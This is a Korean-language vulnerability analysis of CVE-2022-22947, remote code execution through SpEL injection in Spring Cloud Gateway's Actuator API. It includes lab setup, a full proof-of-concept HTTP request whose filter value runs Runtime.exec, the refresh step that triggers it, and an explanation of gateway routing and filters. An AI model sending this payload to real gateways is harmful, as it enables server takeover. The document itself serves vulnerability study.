
# CVE-2022-22947 상세 분석 및 익스플로잇 Spring Cloud Gateway의 Actuator API에서 SpEL 주입을 통해 발생하는 원격 코드 실행 취약점(CVE-2022-22947)에 대한 상세 분석 및 익스플로잇입니다. PoC, 메모리 셸 주입, 근본 원인 분석을 포함합니다.
Spring Cloud Gateway는 Spring Cloud의 새로운 프로젝트로, Spring 5.0, Spring Boot 2.0 및 Project Reactor 등의 기술을 기반으로 개발된 게이트웨이입니다. 마이크로서비스 아키텍처에 간단하고 효과적인 통합 API 라우팅 관리 방식을 제공하는 것을 목표로 합니다. 얼마 전 Spring Cloud Gateway에서 치명적인 RCE 취약점이 발견되었습니다 CVE. CVE 정보에 따르면 애플리케이션이 Spring Cloud Gateway의 Gateway Actuator 엔드포인트를 활성화하고 노출할 때 원격 코드 주입 공격에 노출될 수 있으며, 공격자는 악성 요청을 전송하여 원격으로 임의 코드를 실행할 수 있습니다. 현재 영향을 받는 버전은 다음과 같습니다:
이번 분석에서는 해당 CVE를 재현하여 취약점 원리와 더욱 발전된 악용 방법을 학습합니다.
다음 의존성을 사용하여 Maven 프로젝트를 생성합니다:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
spring boot 기본 구성에서는 health 엔드포인트만 웹에 공개되며, gateway를 공개해야 한다면 수동으로 구성해야 합니다. 참조[공식 문서](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
다음과 같은 POC를 전송합니다:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

그런 다음 ```POST /actuator/gateway/refresh```를 보내 라우트 캐시 정보를 새로고침하면 POC가 트리거됩니다:

## 원리 분석
위의 POC를 살펴보면, 먼저 ```POST /actuator/gateway/routes/test2```를 통해 라우트를 동적으로 추가합니다. 라우트를 추가하는 과정에서 filter가 입력 파라미터를 처리할 때 해당 값을 spel 표현식으로 파싱할 수 있으며, 이후 라우트 캐시를 새로고침할 때 POC가 실행되어 동작합니다.
먼저 spring cloud gateway의 동적 라우트 구성 메커니즘을 살펴보겠습니다.
### 동적 라우트 구성
spring cloud gateway는 코드/구성 파일 방식을 통한 라우트 등록을 지원합니다. 공식 사이트의 [demo](https://spring.io/guides/gs/gateway/) 를 예로 들어 보겠습니다:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
설정 파일의 방식은 코드와 유사합니다:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
이 두 가지 방식으로 추가된 라우트는 모두 고정되어 있으므로, 라우트 구성과 규칙을 추가, 수정, 삭제하려면 애플리케이션을 재시작해야만 적용됩니다. 하지만 현실적으로 spring cloud gateway는 모든 트래픽의 진입점이므로 시스템의 고가용성을 보장해야 합니다. 따라서 spring cloud gateway가 /gateway endpoint를 노출한 이후에는 /gateway/routes를 통해 동적 라우트 정보를 추가/수정/삭제할 수 있습니다. 하지만 이 방식의 라우트 정보는 메모리에만 존재하므로 서비스가 재시작되면 새로 추가된 라우트 구성 정보가 유실됩니다.
위 라우트 등록 형식에서 알 수 있듯이, 하나의 라우트 정보는 대상 uri, filter 집합 및 predicates 집합으로 구성됩니다. 여기서 predicates는 http 요청의 임의의 내용(요청 헤더, 파라미터)으로 요청 매칭을 수행할 수 있습니다. spring cloud gateway에는 많은 내장 route predicate 팩토리 클래스가 있으며, Before, After, Between, Cookie, Header, Host, [Path 등](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories) 이 있습니다.

filter는 요청 전송 전 또는 후에 요청이나 응답을 수정하는 데 사용되며, 마찬가지로 많은 내장 filter 집합을 포함합니다. 위의 RCE를 유발하는 payload에서 사용한 filter는 AddResponseHeader이고, 다른 filter로는 RewritePath, SetPath 등이 있습니다. filter에는 두 가지 종류가 있습니다. 하나는 모든 라우트에 유효한 GlobalFilter이고, 다른 하나는 단일 라우트에만 유효한 GatewayFilter입니다. 자세한 내용은 https://www.cnblogs.com/duanxz/p/14780675.html 을 참고하세요.
,
## 요청 흐름
그러면 요청이 들어온 후 gateway를 거쳐 백엔드의 proxied service에 도달하기까지의 구체적인 흐름은 어떨까요? 공식 문서의 흐름은 다음과 같습니다.

클라이언트는 Spring Cloud GateWay에 요청을 보내고, GateWay Handler Mapping에서 요청과 일치하는 라우트를 찾아 GateWay Web Handler로 전송합니다. Handler는 다시 지정된 필터 체인을 통해 요청을 실제 서비스로 보내 비즈니스 로직을 실행한 후 반환합니다. 필터 사이가 점선으로 구분된 이유는 필터가 프록시 요청을 보내기 전(pre) 또는 후(post)에 비즈니스 로직을 실행할 수 있기 때문입니다.
RoutePredicateHandlerMapping은 라우트를 찾은 다음 webHandler에 의해 처리됩니다:

webHandler에서 gatewayFilters와 globalFilters를 찾은 후 filter에 정의된 Order 값에 따라 정렬하여 filterchain을 구성하고 모든 filter를 실행합니다.
